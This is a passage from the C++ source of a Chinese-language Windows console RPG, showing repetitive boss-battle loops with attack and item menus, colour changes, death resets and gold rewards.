                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                       if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                          if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
                   		 
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=40;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了40金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
            
    		  
    		  
    		    if(j==4)	  
    		  {
    		    dm=21;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,巨人\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=8;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了8点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
               if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   		    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		   if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=50;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了50金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    		  
    		  
    		    if(j==5)		  
    		  {
    		    dm=24;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,森林巨人\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=9;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了9点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                    if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成15伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                          
                   		   if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=60;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了60金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		  
    		  
    		    if(j==6)		  
    		  {
    		    dm=30;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,森林巨人王\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=20;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了20点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			    
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=70;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了70金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		  } 
    		   
    		     if(j==7)		  
    		  {
    		    dm=41;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,深海巨龙\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=31;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了31点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=100;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了100金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    		   
    		     if(j==8)		  
    		  {
    		    dm=80;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,九头大蛇\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=35;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了35点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   	 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		   if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   		  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
